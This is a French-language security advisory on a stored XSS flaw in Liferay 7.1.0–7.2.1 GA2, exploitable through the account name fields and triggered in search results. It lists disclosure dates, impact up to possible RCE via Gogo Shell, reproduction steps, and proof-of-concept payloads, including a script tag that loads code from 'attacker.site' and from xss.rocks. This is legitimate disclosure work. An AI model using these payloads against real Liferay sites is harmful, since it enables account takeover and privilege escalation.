XSS stocké authentifié dans LifeRay 7.2.1 GA2 via MyAccountPortlet déclenché par les résultats de recherche

Dans LifeRay versions 7.1.0 à 7.2.1 GA2, les champs Prénom, Deuxième prénom et Nom des comptes utilisateur sont tous vulnérables à un problème de XSS stocké. Tout utilisateur peut modifier ces champs avec une charge utile XSS particulière et celle-ci sera stockée dans la base de données, « infectant » l'utilisateur. La charge utile sera ensuite rendue lorsqu'un utilisateur utilise la fonction de recherche pour rechercher d'autres utilisateurs. Si l'utilisateur infecté apparaît dans les résultats de recherche, la charge utile XSS s'exécutera.

• Auteur/Chercheur : Casey Erdmann
• Date de découverte : 10/17/2019
• Dernière révision : 10/05/2020
• Divulgation privée : 10/18/2019
• Divulgation publique : 01/27/2020 (Blog Post)
• Version corrigée : 01/30/2020 Liferay Portal 7.3.0 GA1
• Version de la preuve de concept : 10/05/2020

Impact

Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire dans le contexte de tout utilisateur qui déclenche la charge utile XSS via la recherche. Dans un sens pratique, cela peut conduire à une élévation de privilèges d'un utilisateur non privilégié à un utilisateur administratif, ainsi qu'à un mouvement latéral pour prendre le contrôle d'autres comptes. De plus, tout ce qui peut être exécuté via JavaScript peut être exploité dans le contexte d'un autre utilisateur.

Comme vous le verrez dans la preuve de concept (PoC), cela est grand ouvert car l'attaquant a la capacité de charger facilement des scripts externes dans un contexte par défaut.

La plupart des cookies de session importants sont marqués comme HTTPOnly, ce qui empêche surtout les techniques simples de détournement de session. Cela dit, il convient de noter que les utilisateurs consultant la page avec des navigateurs plus anciens sont encore plus impactés par cela en raison des attaques XST.

Étant donné que les utilisateurs administrateurs peuvent exécuter des commandes Gogo Shell et Groovy Script, il peut également être possible de chaîner cette exploitation avec ces fonctionnalités normalement prévues pour obtenir une RCE non intentionnelle sur le système hôte en partant d'un utilisateur non privilégié.

Étapes pour reproduire

Pour que cette vulnérabilité soit déclenchée, deux conditions doivent être remplies :

1. Vous devez avoir accès à un compte utilisateur sur lequel vous pouvez modifier les champs Prénom, Deuxième prénom ou Nom.
2. Votre utilisateur doit être recherchable dans LifeRay. Habituellement, cela signifie simplement qu'il doit être ajouté à un site. Par défaut, un utilisateur peut s'ajouter lui-même au site de base, ce qui signifie qu'il peut se rendre recherchable sans autre autorisation.

Une fois ces conditions remplies, les étapes suivantes peuvent être suivies pour exploiter la vulnérabilité :

1. Connectez-vous en tant qu'utilisateur auquel vous avez accès
2. Accédez à la section Account Settings
   • Cliquez sur l'icône du profil > Account Settings
   • URL should be something like: http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. Modifiez soit le champ Prénom, Deuxième prénom ou Nom dans le formulaire avec votre charge utile XSS (voir les exemples de PoC ci-dessous) et cliquez sur Save
4. Si vous n'êtes pas déjà dans un site, vous pouvez en rejoindre un en naviguant vers http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive et cliquez sur l'icône « trois points » sur le côté droit et sélectionnez join.
5. Recherchez votre utilisateur pour déclencher la charge utile XSS : http://mysite.com/web/guest/search?q=<my user>
   • Pour les tests afin de démontrer l'impact sur un autre utilisateur :
     • Connectez-vous en tant que deuxième utilisateur, recherchez l'« utilisateur infecté » et la charge utile XSS s'exécutera également dans son contexte.

PoC Alerte simple

• <<SCRIPT>alert("XSS");//<</SCRIPT>

PoC Script externe et contournement du filtre

• <SCRIPT SRC="//attacker.site/payload.js">
• Essayez de démontrer avec xss.rocks !
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

Rapport version 4.0